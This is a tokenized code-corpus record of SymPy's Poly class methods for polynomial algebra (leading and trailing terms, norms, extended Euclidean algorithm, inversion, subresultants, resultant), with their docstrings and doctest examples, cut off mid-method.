">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "4", "*", "x", "**", "2", " ", "+", " ", "2", "*", "x", "*", "y", "**", "2", " ", "+", " ", "x", "*", "y", " ", "+", " ", "3", "*", "y", ",", " ", "x", ",", " ", "y", ").", "LT", "()", "\\", "10", ";", " ", " ", " ", " ", "(", "x", "**", "2", "*", "y", "**", "0", ",", " ", "4", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "monom", "_", ",_", "coeff_", "=_", "f_", "._", "terms_", "(_", "order_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Monom", "ial_", "(_", "monom", "_", ",_", "f_", "._", "gens_", ")_", ",_", "coeff_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ET_", "(_", "f_", ",_", "order_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "last", " ", "non", "-", "zero", " ", "term", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "4", "*", "x", "**", "2", " ", "+", " ", "2", "*", "x", "*", "y", "**", "2", " ", "+", " ", "x", "*", "y", " ", "+", " ", "3", "*", "y", ",", " ", "x", ",", " ", "y", ").", "ET", "()", "\\", "10", ";", " ", " ", " ", " ", "(", "x", "**", "0", "*", "y", "**", "1", ",", " ", "3", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "monom", "_", ",_", "coeff_", "=_", "f_", "._", "terms_", "(_", "order_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Monom", "ial_", "(_", "monom", "_", ",_", "f_", "._", "gens_", ")_", ",_", "coeff_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "max", "\\u", "norm_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "maxim", "um", " ", "norm", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(-", "x", "**", "2", " ", "+", " ", "2", "*", "x", " ", "-", " ", "3", ",", " ", "x", ").", "max", "\\u", "norm", "()", "\\", "10", ";", " ", " ", " ", " ", "3", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "max", "\\u", "norm", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "max", "\\u", "norm_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "max", "\\u", "norm", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "rep_", "._", "dom_", "._", "to", "\\u", "sympy_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "l1", "\\u", "norm_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "l1", " ", "norm", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(-", "x", "**", "2", " ", "+", " ", "2", "*", "x", " ", "-", " ", "3", ",", " ", "x", ").", "l1", "\\u", "norm", "()", "\\", "10", ";", " ", " ", " ", " ", "6", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "l1", "\\u", "norm", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "l1", "\\u", "norm_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "l1", "\\u", "norm", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "rep_", "._", "dom_", "._", "to", "\\u", "sympy_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "half", "\\u", "gc", "dex_", "(_", "f_", ",_", "g_", ",_", "auto_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Hal", "f", " ", "extend", "ed", " ", "Euc", "lide", "an", " ", "algo", "rit", "hm", " ", "of", " ", "``", "f", "``", " ", "and", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "``", "(", "s", ",", " ", "h", ")`", "`", " ", "suc", "h", " ", "tha", "t", " ", "``", "h", " ", "=", " ", "gc", "d", "(", "f", ",", " ", "g", ")`", "`", " ", "and", " ", "``", "s", "*", "f", " ", "=", " ", "h", " ", "(", "mod", " ", "g", ")``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "x", "**", "4", " ", "-", " ", "2", "*", "x", "**", "3", " ", "-", " ", "6", "*", "x", "**", "2", " ", "+", " ", "1", "2", "*", "x", " ", "+", " ", "15", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "g", " ", "=", " ", "x", "**", "3", " ", "+", " ", "x", "**", "2", " ", "-", " ", "4", "*", "x", " ", "-", " ", "4", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "f", ").", "half", "\\u", "gc", "dex", "(", "Poly", "(", "g", "))\\", "10", ";", " ", " ", " ", " ", "(", "Poly", "(-", "1", "/", "5", "*", "x", " ", "+", " ", "3", "/", "5", ",", " ", "x", ",", " ", "domain", "='", "QQ", "')", ",", " ", "Poly", "(", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "QQ", "'))", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dom_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "auto_", "and_", "dom_", "._", "has", "\\u", "Ring_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "F_", ",_", "G_", "=_", "F_", "._", "to", "\\u", "field_", "(_", ")_", ",_", "G_", "._", "to", "\\u", "field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "half", "\\u", "gc", "dex", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", ",_", "h_", "=_", "F_", "._", "half", "\\u", "gc", "dex_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "half", "\\u", "gc", "dex", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "s_", ")_", ",_", "per_", "(_", "h_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "gc", "dex_", "(_", "f_", ",_", "g_", ",_", "auto_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Extend", "ed", " ", "Euc", "lide", "an", " ", "algo", "rit", "hm", " ", "of", " ", "``", "f", "``", " ", "and", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "``", "(", "s", ",", " ", "t", ",", " ", "h", ")`", "`", " ", "suc", "h", " ", "tha", "t", " ", "``", "h", " ", "=", " ", "gc", "d", "(", "f", ",", " ", "g", ")`", "`", " ", "and", " ", "``", "s", "*", "f", " ", "+", " ", "t", "*", "g", " ", "=", " ", "h", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "x", "**", "4", " ", "-", " ", "2", "*", "x", "**", "3", " ", "-", " ", "6", "*", "x", "**", "2", " ", "+", " ", "1", "2", "*", "x", " ", "+", " ", "15", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "g", " ", "=", " ", "x", "**", "3", " ", "+", " ", "x", "**", "2", " ", "-", " ", "4", "*", "x", " ", "-", " ", "4", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "f", ").", "gc", "dex", "(", "Poly", "(", "g", "))\\", "10", ";", " ", " ", " ", " ", "(", "Poly", "(-", "1", "/", "5", "*", "x", " ", "+", " ", "3", "/", "5", ",", " ", "x", ",", " ", "domain", "='", "QQ", "')", ",", "\\", "10", ";", " ", " ", " ", " ", " ", "Poly", "(", "1", "/", "5", "*", "x", "**", "2", " ", "-", " ", "6", "/", "5", "*", "x", " ", "+", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "QQ", "')", ",", "\\", "10", ";", " ", " ", " ", " ", " ", "Poly", "(", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "QQ", "'))", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dom_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "auto_", "and_", "dom_", "._", "has", "\\u", "Ring_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "F_", ",_", "G_", "=_", "F_", "._", "to", "\\u", "field_", "(_", ")_", ",_", "G_", "._", "to", "\\u", "field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "gc", "dex", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", ",_", "t_", ",_", "h_", "=_", "F_", "._", "gc", "dex_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "gc", "dex", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "s_", ")_", ",_", "per_", "(_", "t_", ")_", ",_", "per_", "(_", "h_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "invert_", "(_", "f_", ",_", "g_", ",_", "auto_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Invert", " ", "``", "f", "``", " ", "modulo", " ", "``", "g", "``", " ", "whe", "n", " ", "possib", "le", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", ").", "invert", "(", "Poly", "(", "2", "*", "x", " ", "-", " ", "1", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Poly", "(-", "4", "/", "3", ",", " ", "x", ",", " ", "domain", "='", "QQ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", ").", "invert", "(", "Poly", "(", "x", " ", "-", " ", "1", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Trace", "back", " ", "(", "most", " ", "recent", " ", "call", " ", "last", "):", "\\", "10", ";", " ", " ", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "Not", "Invert", "ibl", "e", ":", " ", "zero", " ", "divisor", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dom_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "auto_", "and_", "dom_", "._", "has", "\\u", "Ring_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "F_", ",_", "G_", "=_", "F_", "._", "to", "\\u", "field_", "(_", ")_", ",_", "G_", "._", "to", "\\u", "field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "invert", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "F_", "._", "invert_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "invert", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "revert", "_", "(_", "f_", ",_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Compute", " ", "``", "f", "**", "(-", "1", ")`", "`", " ", "mod", " ", "``", "x", "**", "n", "``.", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "revert", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "revert", "_", "(_", "int_", "(_", "n_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "revert", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "subre", "sult", "ants_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", "s", " ", "the", " ", "subre", "sult", "ant", " ", "PR", "S", " ", "of", " ", "``", "f", "``", " ", "and", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ").", "subre", "sult", "ant", "s", "(", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "[", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", "\\", "10", ";", " ", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", "\\", "10", ";", " ", " ", " ", " ", " ", "Poly", "(-", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "subre", "sult", "ant", "s", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "F_", "._", "subre", "sult", "ants_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "subre", "sult", "ant", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "list_", "(_", "map_", "(_", "per_", ",_", "result_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "result", "ant_", "(_", "f_", ",_", "g_", ",_", "include", "PR", "S_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", "s", " ", "the", " ", "result", "ant", " ", "of", " ", "``", "f", "``", " ", "and", " ", "``", "g", "``", " ", "via", " ", "PR", "S", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "include", "PR", "S", "=", "Tru", "e", ",", " ", "it", " ", "include", "s", " ", "the", " ", "subre", "sult", "ant", " ", "PR", "S", " ", "in", " ", "the", " ", "result", ".", "\\", "10", ";", " ", " ", " ", " ", "Be", "caus", "e", " ", "the", " ", "PR", "S", " ", "is", " ", "used", " ", "to", " ", "calcul", "ate", " ", "the", " ", "result", "ant", ",", " ", "this", " ", "is", " ", "more", "\\", "10", ";", " ", " ", " ", " ", "efficien", "t", " ", "than", " ", "calling", " ", ":", "func", ":`", "subre", "sult", "ant", "s", "`", " ", "separately", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "result", "ant", "(", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "4", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "result", "ant", "(", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", "),", " ", "include", "PR", "S", "=", "Tru", "e", ")", "\\", "10", ";", " ", " ", " ", " ", "(", "4", ",", " ", "[", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", "\\", "10", ";", " ", " ", " ", " ", " ", "Poly", "(-", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')]", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "result", "ant", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "include", "PR", "S_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", ",_", "R_", "=_", "F_", "._", "result", "ant_", "(_", "G_", ",_", "include", "PR", "S_", "=_", "include", "PR", "S_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "F_", "._", "result", "ant_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "result", "ant", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "include", "PR", "S_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "per_", "(_", "result_", ",_", "remove_", "=_", "0_", ")_", ",_", "list_", "(_", "map_", "(_", "per_", ",_", "R_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 